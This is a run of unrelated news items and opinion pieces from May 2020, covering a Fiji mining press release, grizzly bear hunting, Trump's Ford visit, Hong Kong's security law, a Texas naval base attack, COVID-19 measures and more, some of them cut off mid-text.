Figure 1: Korokayiu joint venture property, showing the recently extended area. After last year's drill results, the Korokayiu property has been expanded from 30 square kms to 136 square kms To view an enhanced version of Figure 1, please visit:

https://orders.newsfilecorp.com/files/2901/56278_cd2faea4b422596c_001full.jpg The Schedule for the Program is tentatively as follows: Cannot view this image? Visit: https://media.zenfs.com/en-us/eqs_uk_988/f09b1040fe78dee7e9b20513e7000814 Table 1 To view an enhanced version of Table 1, please visit:

https://orders.newsfilecorp.com/files/2901/56278_cd2faea4b422596c_002full.jpg MOBILIZATION OF DRILLER Thunderstruck has commissioned Bonga Drilling, of Vancouver, Canada to mobilize two diamond core drills to Fiji, in preparation for the Korokayiu drill program. Bonga has a solid reputation for getting good core recoveries quickly and efficiently, with a fee structure heavily slanted toward production. They have agreed to leave their drills on-site in anticipation of further drilling for Thunderstruck in the near term. WAINALEKA ZINC/COPPER PROSPECT Wainaleka is a high-grade zinc-copper-silver volcanogenic massive sulphide (VMS) discovery drilled by Anglo Pacific in 1977. That 15-hole, 1,763-metre Anglo diamond drill program intersected highly anomalous values including: The Anglo drilling results left the main mineralised zone open at both ends and at depth. True widths are estimated to be 80%-100% of the drilled intercept. Geologic mapping indicates a 15 km prospective strike length; including eight additional, under-explored zinc-copper VMS prospects (see Company's press release dated February 28, 2019). ABOUT JOGMEC JOGMEC (Japan Oil, Gas and Metals National Corporation) seeks to ensure a stable supply of metal resources that are indispensable for Japanese industries. To achieve that objective, they contribute financial and technical resources to exploration, development, production and other measures intended to provide a long-term supply of key metals. About Fiji Viti Levu, the main island of Fiji, has a long mining history. It is on the prolific Pacific Ring of Fire, a trend that has produced numerous large deposits, including Porgera, Lihir and Grasberg. The island of Viti Levu hosts Namosi, held by a joint venture of Newcrest, Mitsubishi and Nittetsu. Newcrest published Proven and Probable Reserves for Namosi of 1.3 billion tonnes at 0.37% Cu and 0.12 g/t Au (5.2M ounces Au and 4.9M tonnes Cu) (please see Company's Press Release October 19, 2019). Namosi is now undergoing environmental assessment as part of the permitting process. Lion One Metals is now developing its Tuvatu Project, with Indicated Resources of 1.1 million tonnes at 8.17 g/t Au (294,000 ounces Au), and Inferred Resources of 1.3 million tonnes at 10.6 g/t Au (445,000 ounces Au). The Vatukoula Gold Mine has been operating for 80 years, producing in excess of 7 million ounces. ABOUT THUNDERSTRUCK RESOURCES Thunderstruck Resources is a Canadian mineral exploration company that has assembled four extensive and highly prospective properties in Fiji on which recent and previous exploration has confirmed VMS, copper and precious metals mineralization. The Company provides investors with exposure to a diverse portfolio of exploration stage projects with potential for zinc, copper, gold and silver in a politically safe and stable jurisdiction. Thunderstruck trades on the Toronto Venture Exchange (TSX-V) under the symbol "AWE" and United States OTC under the symbol "THURF". On behalf of Thunderstruck Resources Ltd. Bryce Bradley

President/CEO, Director For additional information, please contact: Rob Christl, Investor Relations Manager

Email: rob@thunderstruck.ca

P: 778 840-7180 Neither the TSX Venture Exchange Inc. nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release contains certain statements that may be deemed "forward-looking statements". Although Thunderstruck believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results may differ materially from those in forward looking statements. Forward looking statements are based on the beliefs, estimates and opinions of Thunderstruck's management on the date the statements are made. Except as required by law, Thunderstruck undertakes no obligation to update these forward-looking statements in the event that management's beliefs, estimates or opinions, or other factors, should change. Corporate Logo To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56278 Click on, or paste the following link into your web browser,to view the associated documents http://www.newsfilecorp.com/release/56278

News Source: Newsfile



21.05.2020 Dissemination of a Corporate News, transmitted by DGAP - a service of EQS Group AG.

The issuer is solely responsible for the content of this announcement.



The DGAP Distribution Services include Regulatory Announcements, Financial/Corporate News and Press Releases.

Archive at www.dgap.de


Grizzly bears are a paradoxat once valued and vilified, long-studied yet mysterious, powerful but vulnerable. Currently, they are protected under the federal Endangered Species Act. However, last fall Governor Bullock convened an 18-member Citizens Advisory Council to recommend how the complex animals should be managed by the state if, in the future, those protections are removed.

I commend the Council members for the time, energy, and thought they have dedicated to this difficult task  particularly during recent months under such trying circumstances.

One issue the Council is grappling with is whether, or to what extent, grizzly bears should be hunted. The Council should recommend instead that FWP continue its important focus on conflict prevention, public education, and long-term recovery, and not subject grizzlies to a future hunt.

Importantly, such a recommendation would not be anti-hunting. Instead, it would be a recognition that there are no good reasons to hunt this particular species, and many good reasons not to.

First, hunting grizzlies would do nothing to make livestock, property, or people more secure. Studies of hunted bear populations in the U.S. and around the world have consistently shown that hunting does not reduce bear conflicts, in part because hunting does not target the relatively few problem individuals. At the same time, there is clear evidence that widely available alternatives such as electric fencing, scare devices, and bear spray can, if used consistently and properly, effectively deter bears.

Second, hunting would not reduce attacks on people. On the contrary, it would put more people at risk. A recent, comprehensive review of brown bear attacks worldwide found no significant difference in the number of attacks in countries where brown bear hunting is legal and those where it is not. Notably, the study revealed that a significant number of the attacks involved people hunting brown bears.

Third, grizzly bears in Montana already face a staggering array of threats, including climate change, disappearing food sources, habitat loss, isolation, expanding human development, increasing conflicts with livestock and humans, vehicle collisions, ever more public land users, and one of the slowest reproductive rates of any mammal in North America. Grizzlies persist at a tiny fraction of their historical population size and geographic range. Dozens are already killed by humans in Montana each year. The last thing they need is to be hunted, too.

Yet, FWP has proposed that if a hunt were to move forward, it would involve not one but two seasons  one in the spring, and one in the fall. According to the agency, the hunts would be limited, with only a few tags offered, so license revenue would be insignificant. Instead, FWP has explained that the main reason for holding the hunts would be to provide hunter opportunity. In other words, if the state has enough bears, humans should be able to shoot a few.

I urge the Council to reject that rationale. To kill a handful of grizzlies, just because we can, would not serve any management purpose or achieve any conservation objective. Hunting should be allowed for good reason, not for no reason at all. There are many other, more effective management actions that FWP  and all of us  can take to safely live, work, and recreate in grizzly country, and ensure a thriving future for both Montana communities and the great bear.

All Montanans can respectfully share their thoughts on this important subject with Council members  and thank them for their work  by going to fwp.mt.gov/gbac and clicking the Engage and Comment button.

Zack Strong is a wildlife advocate with the Natural Resources Defense Council in Bozeman.

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Donald Trump ignored pleas from Michigans governor and attorney general that he wear a mask while touring a Ford Motor Company facility that is producing ventilators to combat coronavirus, saying he did not want to give media members the pleasure of seeing him in it as he claimed to have worn on in a back area of the factory.

The presidents latest defiant act came after the states Democratic attorney general, Dana Nessel, urged the president to wear a protective face covering.

While my Department will not act to prevent you from touring Fords plant, I ask that while you are on tour you respect the great efforts of the men and women at Ford  and across this state  by wearing a facial covering. It is not just the policy of Ford, by virtue of the Governors Executive Orders. It is currently the law of this State.

We must all do our part to stop the spread of COVID-19, Ms Nessel added. Anyone who has potentially been recently exposed, including the President of the United States, has not only a legal responsibility, but also a social and moral responsibility, to take reasonable precautions to prevent further spread of the virus.

That did not cause the president to wear a mask while he was in public view inside the facility.

I didnt want to give the press the pleasure of seeing it, he said, briefly holding a shield over his face in a playful manner as the US death toll from Covid-19 neared 94,000.

They said not necessary, Mr Trump said of Ford officials. I think it sets an example both ways, he added, suggesting he also wanted to send a signal to his political base, which is composed largely of conservatives who say state lockdowns are a violation of their rights.

Bill Ford, chairman of the companys executive chairman, was asked by a reporter travelling with Mr Trump if he told the president is was okay if he did not wear a mask. Up to him, Mr Ford said with his arms held out wide.

Mr Trump did produce a mask. It was dark blue, like most of his suits lately. It had a white presidential seal on one side.
Take care of everyone: I was reading two items in Speak Out. One was titled Please work together and the other was Enough with the criticism. I do think both parties should stop criticizing each other. That said, Donald Trump criticizes anyone who doesnt agree with him. Sometimes you have to get in the mud with him. Its the presidents job to take care of every state in America. They shouldnt have to ask.
Ever feel trapped, stuck, unable to either move forward or go back?

The ancient Hebrews were trapped on the shore of the Sea of Reeds after leaving bondage in Egypt. Pharaoh King of Egypt, having changed his mind, sent his chariots and horsemen to capture or kill the fleeing former slaves. With the warning blasts of the shofar ringing in their ears, the hoofbeats of the approaching army growing louder and instilling terror, and the impassable sea before him, Moses the leader called out to God for help. As if the situation were not dire enough, one fellow, Nahshon, decided he could not wait and jumped into the water  but he could not swim.

So now on top of everything, some poor guy was drowning. Moses cried out louder for help. Finally, God responded, What are you shouting at Me for? Look, Nahshon is drowning. Moses extended his staff to rescue Nahshon. The moment his staff touched the water, the sea parted and the people passed through to safety.

Sometimes we feel stuck or doomed, with nowhere to go, no path forward, and we feel too small and powerless to address the big problems around us or even our own. But when we reach out, extend ourselves or our hand, even to help just one person such as Nahshon, that can miraculously open up a path to move forward.

Jumping into the water wasnt necessarily the smartest thing to do. And there were bigger problems than this individual drowning man; the survival of the Jewish nation was at stake. Nevertheless, Moses helped him because he had the power to and because it was the right thing to do. In doing so, he brought salvation to his people.

At the end of May, the Jewish People in Israel and around the world will observe the festival of Shavuot, celebrating the event at Sinai, where we formed a covenant and were given the opportunity to build a nation based on law and principle, applying the lessons of our traumatic past to envision a better future. The giving of that opportunity was more than 3,300 years ago, but the accepting of it happens right now. Whether the Torah of Moses or some other wise or inspired guide, each person can be part of a project that has meaning and gives direction, and thereby have reason to look forward with hope.

It is impossible to foresee the ultimate consequences of our deeds. When we help someone acquire food or medicine, encourage them to follow public health protocol, keep them connected to friends and community, when we help others make it through a very difficult or seemingly hopeless time, and when we avoid harming or exploiting others even though it seems we can do so with impunity, when we are patient and forbearing, we can assume that such behaviour may open a path to a better future. It cannot be proven scientifically; it is a matter of faith.

Rabbi Jon-Jay Tilsen, Congregation Beth El-Keser Israel, New Haven
Xiaomis Redmi brand already confirmed that it will introduce the Redmi 10X series in China on May 26th. Now it has confirmed new Redmi X series smart TV with MEMC motion compensation feature to avoid motion blur. The company already has a 70-inch and it introduced Redmi Smart TV MAX, a 98-inch 4K TV a couple of months back.

It has also confirmed new RedmiBook 16.1, which will join the companys Redmibook 13, Redmibook 14 and Redmibook 14 Pro that were introduced last year. The company has confirmed that it will have 3.26mm slim bezels around the screen, offer 100% sRGB color gamut and 90% screen-to-body ratio, thanks to sleek bezels. The company said that the laptop with a large 16.1-inch screen is as compact as most laptops with a 15-inch screen due to ultra narrow bezels.

It will be powered by third generation Ryzen 4000 series processors based on Zen 2 architecture and promises smooth graphics processing and long-lasting battery life. There could be Ryzen 5 and Ryzen 7 options.

We should know more details in the coming days and the complete specifications and the price when it goes official next Tuesday.

Source 1, 2
(JNS)Facebook founder and CEO Mark Zuckerberg thinks hes found a way to avoid further skewering at the hands of those looking for a whipping boy for the failings of the Internet. Actor Sacha Baron Cohen scorched him last fall for running what he called the greatest propaganda machine in history because of the sites willingness to take both ads that some deem either hateful or false. Cohen said the social-media entrepreneurs refusal to adequately police Facebook was the equivalent of giving Nazis free reign to act as they liked.

Nor was the Borat star the only one t...
Mazda Toyota Manufacturing, the giant development in Huntsville, also had a giant problem.

It needed 4,000 employees at the $1.6 billion facility under construction to produce vehicles for the two Japanese automakers who had come together for one of the largest economic projects in state history.

But it was searching for those 4,000 employees at a time when few were searching for jobs.

Then came the novel coronavirus pandemic and a soaring unemployment rate and, suddenly, Mazda Toyota had a robust labor pool.

Related: AL.coms coverage of the coronavirus

Related: To Mazda Toyota: You dont want me building your SUVs

I think its a win-win situation, Mark Brazeal, vice president of administration at Mazda Toyota, said Thursday in an interview with AL.com. "Obviously, maybe theres a bigger pool of labor workforce now. But at the same time, theres people who need jobs and were able to provide that job opportunity to individuals who have lost their jobs as a result of the pandemic.

"So it's really a unique situation that we're continuing to hire even though we have this pandemic crisis because we're trying to staff up for future production. It's a situation where we can offer job opportunities to many more people than needed them six months ago."

In February, before the impact of the coronavirus began to impact Alabama, the unemployment rate was 2.4 percent in Limestone County  where the plant is being built. To the east in neighboring Madison County, it was 2.3 percent. To the west in neighboring Lauderdale County, it was 3 percent. And to the south in Morgan County, it was 2.4 percent.

The shallow labor pool also led to a report released late last year that called on the region to implement a "moonshot effort" to recruit 25,000 people to north Alabama to fill the thousands of jobs being created through various economic developments.

As elected officials from the region visited the Mazda Toyota employee assessment center in Huntsville on Thursday  including Huntsville Mayor Tommy Battle, Decatur Mayor Tab Bowling and Morgan County Commission Chair Ray Long  they heard about hiring concerns.

Jamie Hall, who oversees the employee assessment center, told the leaders that Mazda Toyota needed about 40,000 applicants to fill the remaining 3,500 or so jobs.

"We were really worried about that with the unemployment rates being so low earlier on," Hall said. "We think there is some benefit, honestly, to all of this that we may have some additional candidates through this activity to keep people working."

As expected, unemployment figures in Alabama have skyrocketed, according to figures released Friday by the Alabama Department of Labor. The state unemployment rate was 12.9 percent in April, a chilling spike from Marchs rate of 3 percent and the worst in the state in 38 years. In Limestone County, its 11.4 percent and 10.4 percent in Madison, 14.6 percent in Lauderdale and 11.3 percent in Morgan.

For Mazda Toyota looking to employ thousands of people, thats a hiring windfall.

The company said Thursday that it will resume its hiring process for team leaders in August and for team members in October. Completion of the plant has been delayed as overseas supply chains have stalled during the pandemic but Mazda Toyota still expects the first vehicles to roll off production lines at some point next year.

So far, Brazeal said Mazda Toyota has hired 544 people  almost half of those professional staff.

Most applicants so far have had backgrounds in manufacturing, Brazeal said, but he said he expects that to change with the next wave of applicants. And no manufacturing background is required, he said.

"I think this next group, when we open things back up, it's still going to be some manufacturing but that's when we're going to get people from the restaurant industry and many, many other industries," he said. "Once you're hired, you will go through extensive training on the exact process you will operate on the production line. You will get fundamental skills training. Some of the best team members and future team leaders didn't have manufacturing (backgrounds) when they started. They just learned from Toyota.

"I think that's going to be the big change. I think we're going to see a lot of diversity when we open the window in October."

Beyond the 4,000 jobs at Mazda Toyota, parts suppliers  including some building facilities on the MTMUS campus  have hundreds of jobs to fill as well. And Brazeal said that Mazda Toyota works with those suppliers to direct applicants that arent hired at the auto plant to suppliers for consideration.

Theres no magic bullet, Brazeal said of hiring strategies during low unemployment. We were just going to have to work hard. Maybe well have more people knocking on our door now. But well still make sure were putting in the effort to make sure everybody knows what kinds of jobs we have, what kind of pay and benefits and opportunities.
Zelensky signs controversial "tax terror law"

11:15, 22.05.20 6843

The provisions of the law, which has been enacted under No. 466-IX, expand regulatory authorities' rights, tighten the taxation rules, as well as introducing unprecedented control mechanisms for foreign companies.
NEW YORK, N.Y. -- As New Yorkers head into Memorial Day weekend still under restrictions during the coronavirus pandemic, Mayor Bill de Blasio laid out a plan for more enforcement at the citys beaches, parks and bars and restaurants for the long weekend ahead.

De Blasio reminded New Yorkers Friday that beaches remain closed but walks on the shoreline and socially distanced hangouts are still permitted.

The mayor said the NYPD would scale up its beach patrol detail by 30% this weekend and send more than 150 Parks Department personnel to the citys beaches to enforce social distancing rules and make sure New Yorkers are not swimming or congregating in large crowds on the shoreline.

If beachgoers start to flock to shores in large crowds, de Blasio reminded New Yorkers that he would use the fencing the city has installed at beaches across the city to seal them off completely if needed

Ive been very clear about the beaches, they are closed for swimming, there will not be lifeguards, people are not allowed to go to the beach to swim, theres not going to be anything with group activity, no sports, no volleyball, no gatherings, we want to make sure that people understand what the beach is for today, he told reporters during a press conference Friday.

You can walk on the beach, you can hangout on the beach, but do it in a manner that is consistent with everything weve been talking about. You go out for the time that you need then you get back home, you socially distance the whole time, you wear the face-covering, he said.

Parks Commissioner Mitchell Silver said the department was currently training lifeguards to have them ready to work in the event the citys beaches are able to reopen. Silver said he expects lifeguards to be trained in three weeks.

But de Blasio cautioned that the city would have to earn its way into Phase 1 of reopening, which he said likely will not happen until the first or second week of June.

We expect it will take a few weeks, Silver said of training the departments lifeguards. We want them to be strong and conditioned and then at that point well work with the mayor and other public health guidance to determine when its safe to bring back the lifeguards.

RESTAURANTS AND BARS -- TAKE OUT, DONT HANGOUT

The mayor reminded New Yorkers that bars and restaurants are for take out and delivery only and said teams from the Office of Nightlife and NYPD would be putting up signs warning patrons to take out dont hang out, around their favorite eateries and bars.

He said more cops would be sent to bars and restaurants where the city saw social distancing problems last weekend.

I want to remind people that there are clear standards, were not doing any dining in, we want to remind any bar or restaurant that tries, that its not going to end well. there is going to be enforcement, if there has to be penalties there will be penalties, de Blasio said.

Were not doing congregating, were not doing gatherings, we want people to keep moving, observe social distancing, stay safe, he said.

City Hall said bars and restaurants can be hit with fines as high as $1,000 depending on the violation.

PARKS PLAN

The mayor said he would deploy 2,300 city employees to serve as social distancing ambassadors this weekend who will look out for large crowds and hand out face coverings at 230 parks across the city.

He said the city has handed out 6 million face coverings to New Yorkers to date and planned to give out a total of 12.5 million more in the coming weeks.

He also said the city would set up more social distancing circles that the city put in place in parks last weekend in other parts of the city.

FOLLOW SYDNEY KASHIWAGI ON TWITTER.

*** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK ***
The suspect killed during what the FBI is calling a terrorism-related attack at a Texas naval air base voiced support for hardline clerics, according to a group that monitors online activity of jihadists.

The attack Thursday at Naval Air Station Corpus Christi wounded a sailor and left the gunman dead. The gunman was identified on Friday by the FBI as 20-year-old Adam Salim Alsahli of Corpus Christi. He had been a business major at a local community college.

The gunman tried to speed through a security gate at Naval Air Station Corpus Christi, opening fire and wounding the sailor, a member of base security, U.S. officials told the AP. But she was able to roll over and hit a switch that raised a barrier, preventing the man from getting onto the base, the officials said.

Other security personnel shot and killed the attacker.

There was an initial concern that the gunman may have had an explosive device, but Navy experts swept the area and the car and found nothing. The officials spoke on condition of anonymity to discuss details about an ongoing investigation. Officials worked late Thursday to process the crime scene and had recovered some type of electronic media.

The FBI is examining social media posts investigators believe were made by the shooter expressing support for extremist groups, including Al-Qaida in the Arabian Peninsula, two officials familiar with the investigation said. The officials could not discuss an ongoing investigation publicly and spoke to The Associated Press on condition of anonymity.

U.S. Defense Secretary Mark Esper said Friday on on The Today Show that the wounded sailor is doing well. He also said the FBI knows the basics of what happened during the attack but is working through details, including about the suspect.

We hope to know more in the coming days as to what happened, what this person was motivated by, Esper said. But we need to let the facts come out, let the investigators do their job, and well see where this ends up.

Social media accounts matching Alsahlis profile on Twitter, Facebook and WhatsApp featured support for hardline clerics, mostly from Saudi Arabia, and jihadi figures such as Ibrahim al-Rabaysh, who had been a spokesman for the Yemen branch of Al Qaeda and who was killed by a U.S. drone strike in 2015, according to Rita Katz, director of the SITE Intelligence Group.

Alsahli had been a student at Del Mar College, a community college in Corpus Christi, according to a statement on Friday from school spokeswoman Melinda Eddleman. He had been a business administration major and had attended classes in the fall 2018, spring 2019 and fall 2019 semesters.

A search of court records in Corpus Christi showed Alsahli had received a traffic ticket in August for failing to yield. The ticket was dismissed in January after Alsahli took a drivers safety course.

FBI Supervisory Senior Resident Agent Leah Greeves said at a news conference Thursday that investigators were working to determine whether a second person of interest was at large but did not elaborate. She also would not discuss a potential motive or specify what led investigators to believe the shooting was related to terrorism.

We have determined that the incident (on Thursday) at the Naval Air Station Corpus Christi is terrorism related, Greeves said. We are working diligently with our state, local and federal partners on this investigation, which is fluid and evolving.

Later, federal agents were seen carrying items from inside a house that a Corpus Christi police tactical unit had surrounded and a public records search by local television station KRIS indicated was Alsahlis last known address. A police spokesman would not confirm that the activity was related to the shooting at the Naval station.

The FBIs field office in Houston has taken the lead on the investigation, and neither investigators nor the Navy provided details on the shooter or a possible motive. Attorney General William Barr has also been briefed, a Justice Department spokeswoman said.

The injured sailor was discharged from a hospital where she was treated for minor injuries, according to a statement from the command.

The station, which was locked down for about five hours Thursday, had a similar lockdown last December. In another incident at the base last year, a man pleaded guilty to destruction of U.S. government property and possession of a stolen firearm for ramming his truck into a barricade at the Corpus Christi station.

The shooting also comes months after a Saudi Air Force officer who was training at a Navy base in Pensacola, Florida, killed three U.S. sailors and wounded eight other people in a shooting that American officials described as an act of terrorism. The countrys top federal law enforcement officials said this week that the gunman in Decembers attack, Mohammed Saeed Alshamrani, had been in touch with al-Qaida operatives about planning and tactics in the months before the shooting. Alshamrani was killed by a sheriffs deputy.

According to U.S. officials, unlike Pensacola, there are no international or foreign national students at the Texas base. The military put a number of new safety procedures in place after the Pensacola shooting to restrict and better screen international students.

___

Lozano reported from Houston. Baldor and Balsamo reported from Washington. Eric Tucker and Colleen Long in Washington contributed to this report.
Dung Quat Oil Refinery in the central province of Quang Ngai. Photo courtesy of Binh Son Refining and Petrochemical Company.

Over 1,000 highly-skilled foreign specialists will enter quarantine early June before deployment at oil and steel projects in the central province of Quang Ngai.

Senior officials at Binh Son Refining and Petrochemical Company in Quang Ngai said around 350 experts from Malaysia, South Korea and Thailand would enter Vietnam early next month to assist maintenance of Dung Quat Oil Refinery, the countrys first such facility.

Maintenance will be carried out over 51 days starting August 12.

A maximum 100 experts will be quarantined at a local hotel at one time, local authorities said.

Later this month, Hoa Phat Dung Quat Steel JSC will also bring around 711 foreign experts to the central province to assist final assembly of its factory, with up to 350 visitors to be quarantined at one time.

The more than 1,000 experts will be tested twice during their 14-day quarantine period. Any positive case will be transferred and treated in the province.

Vietnam banned all foreign nationals from entering the country starting March 22. Only those carrying diplomatic or official passports, or taking part in special economic projects have been cleared for entry, though all need to present a Covid-19 free certificate from a recognized authority in the country of embarkation.

Thousands of foreign experts, including Samsung and Petrovietnam engineers, have flown to Vietnam and entered 14-day quarantine on landing.

Vietnam has gone 35 straight days without community transmission of the novel coronavirus. The nations Covid-19 tally stands at 324, including 60 active patients.
Dr. Hanimireddy Lakireddy has been awarded the 2020 Chancellors Medal from the U.C. Merced Chancellor. The Lakireddy family seen here poses in front of the Dr. Lakireddy Auditorium, one of the largest lecture halls on campus. Top: Dr. Hanimireddy Lakireddy and his son Dr. Vikram Lakireddy; bottom: Hanimireddy's wife Vijaya and his daughter-in-law, Priya. (photo provided)
Michelle Troconis, the former girlfriend of Fotis Dulos, says she should never have trusted the accused killer knowing what she knows now.

Dulos took his life in January while facing charges for the murder of his estranged wife Jennifer. The Connecticut couple were in the midst of a bitter divorce and child custody proceedings when the mother of five disappeared almost a year ago.

The 50-year-old mom's body has never been found.

Meanwhile, focus on the whereabouts of her remains has shifted to a $3 million home in Avon, where the couple had briefly lived in 2010.

Michelle Troconis, the former girlfriend of Fotis Dulos, says she should never have trusted the accused killer, knowing what she knows now. She is pictured appearing at a pre-trial hearing

Fotis Dulos (pictured) took his life in January while facing charges for the murder of his estranged wife Jennifer. The Connecticut couple were in the midst of a bitter divorce and child custody proceedings when the mother of five disappeared almost a year ago

The body of Jennifer Dulos, a 50-year-old mother of five, has never been found

Focus on the whereabouts of Jennifer Dulos' remains has shifted to a $3 million home in Avon, where the couple had briefly lived in 2010 (pictured)

Questions have been raised over how thorough the Connecticut State Police were in searching the residence, which has a septic tank and wooded area in the back, the Hartford Courant reports.

Troconis says she knows nothing about what happened to Jennifer Dulos, in her first public comments about the case Thursday.

The dual American and Venezuelan citizen released an audio statement in Spanish with her remarks just days before the one-year anniversary this upcoming Sunday of the disappearance and presumed killing of Jennifer Dulos.

Troconis' lawyer, Jon Schoenhorn, provided a translated transcript of the statement, in which she says people have said cruel things about her and expresses her frustration at not being able to tell her side of the story.

'Whether or not Fotis Dulos was capable of doing the things the police and prosecutors accused him of doing, I do not know,' she said. 'But based on what I have learned in the last year, I think it was a mistake to have trusted him.'

Police allege Fotis Dulos killed his estranged wife at her home and drove off with her body. He would be found dead months later from carbon monoxide poisoning while seated in his truck parked in the garage of his home at 4 Jefferson Crossing.

Michelle Troconis says she knows nothing about what happened to Jennifer Dulos in her first public comments about the case Thursday. She is pictured leaving Stamford Superior Court

Police allege Fotis Dulos killed his estranged wife Jennifer Dulos at her home and drove off with her body. He is pictured in an image released by police left, while Troconis is pictured right

Fotis Dulos would be found dead months after his wife's disappearance from carbon monoxide poisoning while seated in his truck parked in the garage of his home at 4 Jefferson Crossing

Troconis, who remains free on bail, and Kent Mawhinney, a friend of Fotis Dulos and his former lawyer, have pleaded not guilty to conspiracy to commit murder on allegations they helped cover up the killing.

The children have been living with Jennifer Dulos's mother in New York.

As the anniversary of the dead woman's disappearance approaches, the Connecticut State Police have renewed their interest in the Avon home, and after questions were raised by the Courant about how thorough the property was initially searched.

The property is just 1.5 miles from the Jefferson Crossing home where Fotis Dulos took his life earlier this year.

The couple had lived in the home at 44 Sky View Drive for a short time in the summer of 2010, two former employees of the Fore Group, Farber Dulos' home construction company told the Courant.

Records show the Fore Group had gone back to the home and spent several months cleaning it after pipes had burst inside. The home had been unoccupied since December of 2017.

Jennifer Dulos is pictured in a photo released by police when she went missing

The state police had been aware of the Dulos' connection to the home, after interviews with current and former employees at the construction company. It was not clear how vigorously the possible lead was pursued by investigators, sources tell the Courant.

Investigators received a copy of a demolition permit and contacted David Ford, an attorney who currently owns the property and gave them permission last fall to conduct a search, state police source say.

Cops eventually came to the house, but without a search warrant and no cadaver dogs to search in the woods behind the home or a septic tank on the property, as they did at other homes owned by the Duloses, sources say.

It was also not clear if investigators knew the the couple lived at the house for several months, while they were waiting for their first home on Jefferson Crossing to be finished.
Oil prices dipped by more than 6 percent early on Friday, after Chinas top policy-setting meeting didnt set an annual economic growth target because of great uncertainty of the recovery from the coronavirus.

As of 7:54 a.m. EDT WTI Crude was plunging by 5.66 percent at $32, and Brent Crude was down 4.74 percent on the day to $34.35.

Chinas National Peoples Congress (NPC), the most important policy-setting annual event in the Communist country, began on Friday and analysts were expecting to see the economic growth targets for 2020 and the stimulus to bolster the economy.

In case of stimulus for supporting infrastructure and railroads and other commodity-intensive sectors, analysts expected that government support could bolster Chinas demand for crude oil, fuels, and other commodities.

By ditching the GDP growth target for this year because of high uncertainty, China roiled earlier market expectations and raised fears of slower-than-expected economic and oil demand recovery.

The commodity market, in general, was looking for a bigger infrastructure pump from the NPC so there is bound to be an element of disappointment, Stephen Innes, chief global market strategist at AxiCorp, said, as carried by Reuters.

In another developing story involving China, Beijing said that it plans to impose a new national security law for Hong Kong, which drew a reaction from U.S. President Donald Trump. President Trump said on Thursday that if China were to impose a new security law in the former British colony, the United States would address that issue very strongly.

The lack of Chinese GDP guidance and the renewed rhetoric between the U.S. and China were depressing global equity markets, the Dow futures, and oil prices early on Friday.

Despite the slump in prices early on Friday, oil was set to end a fourth consecutive week of weekly gains as global production cuts from OPEC+ and North America and slowly recovering oil demand with eased lockdowns give hope to investors and traders that the worst of the downturn may be behind us.

By Tsvetana Paraskova for Oilprice.com

More Top Reads From Oilprice.com:
The Chinese Communist Party wants to take full control of city affairs. Pro-democracy and anti-government activists could be detained and taken to China. The legislation threatens religious freedom. For Pro-Beijing advocates, the city needs a law to fight terrorists and separatists.

Hong Kong (AsiaNews)  The National People's Congress, which opened its annual session today, plans to adopt a national security law for Hong Kong. This comes after almost a year of pro-democracy protests, which have shaken the Special Administrative Region. For the rulers of mainland China, such actions are subversive. Hong Kong shares plunge 5.6 per cent on China security law fears, the biggest drop in the past five years. The Diocesan Commission for Justice and Peace also criticised the new law. Below are the reactions to the proposed legislation.

Trade union leader and former member of Hong Kongs Legislative Council Lee Cheuk-yan

It is the complete disruption of Hong Kong's autonomy. With the new law, the Chinese Communist Party can create a local office for national security. It is a sign that it wants to take full control of city affairs.

Pro-democracy lawmaker Dennis Kwok

Beijing is killing Hong Kong and is using the pretext of fighting the pandemic to prevent people from protesting. For the city, it is the saddest day since its return to Chinese sovereignty in 1997.

Pro-democracy lawmaker Tanya Chan of the Civic Party

Today is the saddest day in the history of the city. The rights and freedoms enjoyed in Hong Kong represent a problem for the Chinese government, which is why it plans to eliminate them. If Beijing deploys its national security officers, pro-democracy and anti-government activists could be detained and taken to China.

Democratic Party lawmaker Helena Wong

The law weakens the citys government, given that it will not be able to regulate the action by the mainlands security forces.

Jacky Hung, member of the Justice and Peace Commission of the Diocese of Hong Kong

We are concerned that the law will be used to suppress religious freedom. Hong Kong should adopt universal suffrage before adopting national security laws.

Pro-democracy activist Joshua Wong

China wants to take everything in Hong Kong, and end every link between the city and the international community. But Demosisto (the pro-independence party Wong founded in 2016 with other students) will continue to fight for the Hong Kong Human Rights and Democracy Act, although this could lead to indictments and annihilation.

Legal expert Johannes Chan, University of Hong Kong

This is the end of the "one country, two systems" principle on which Hong Kong's autonomy from China is based. It means that every Chinese law is also applicable to the city, whose courts still follow common law. There is even a risk that Hong Kong citizens accused of attacking national security could be tried by a Chinese military court.

Lord Patten, Hong Kongs last British governor

This is outrageous, an attack on Hong Kong's autonomy. The security law violates the Sino-British Declaration of 1985, which governed the city's transition from British to Chinese rule. The latter requires China to respect Hong Kong's rights and democratic freedoms until 2047. The United Kingdom and the United States are expected to protest with China.

Pro-Beijing New Peoples Party

Hong Kong has been reunited with the motherland for the past 23 years. it is a constitutional duty to defend national security, ensure territorial integrity and protect the countrys interests. The city needs a law to counter terrorists and separatists who have threatened China and Hong Kongs autonomous administration in the past year. A national security law would enhance the principle of One Country, Two Systems.
It is the 18th flight, which takes the Ukrainians home from France in terms of the lockdown

Open source

On May 21, the special flight with 170 evacuated Ukrainians went to Ukraine from France as Ukrinform reported citing Head of Consular and Legal department of Ukraine in France Mykola Sobko.

Today(on May 21, - 112.international), we have sent 18th special flight from France with 170 Ukrainians aboard, Sobko noted.

According to him, with the assistance of the embassy, 4,194 citizens returned from France to Ukraine since the beginning of lockdown.

As we reported, Ukraine is opening all international checkpoints, except ones with the Russian Federation and Belarus, which is caused by the difficult epidemiological situation in these countries.

Earlier, Ukraines Foreign Minister Dmytro Kuleba stated that Ukraine is liberal-minded toward the opening of the borders but it will consider the experience of partners and real situation with the pandemic in the territory of Ukraine

Another 442 cases of infection with Covid-19 occurred in Ukraine on May 21. The overall number of the infected people in this country reached 20,148 people. There are 588 lethal cases in Ukraine. 6,585 patients recovered.
Deputy Communications Officer for the largest opposition National Democratic Congress (NDC), Kweku Boahen, has told President Akufo-Addo to change his attitude and that of his administration to conform to his COVID-19 directives.



According to him President Akufo-Addo must instruct Jean Mensa, Chairperson of the Electoral Commission (EC) to rescind her decision to compile a new voters' register.



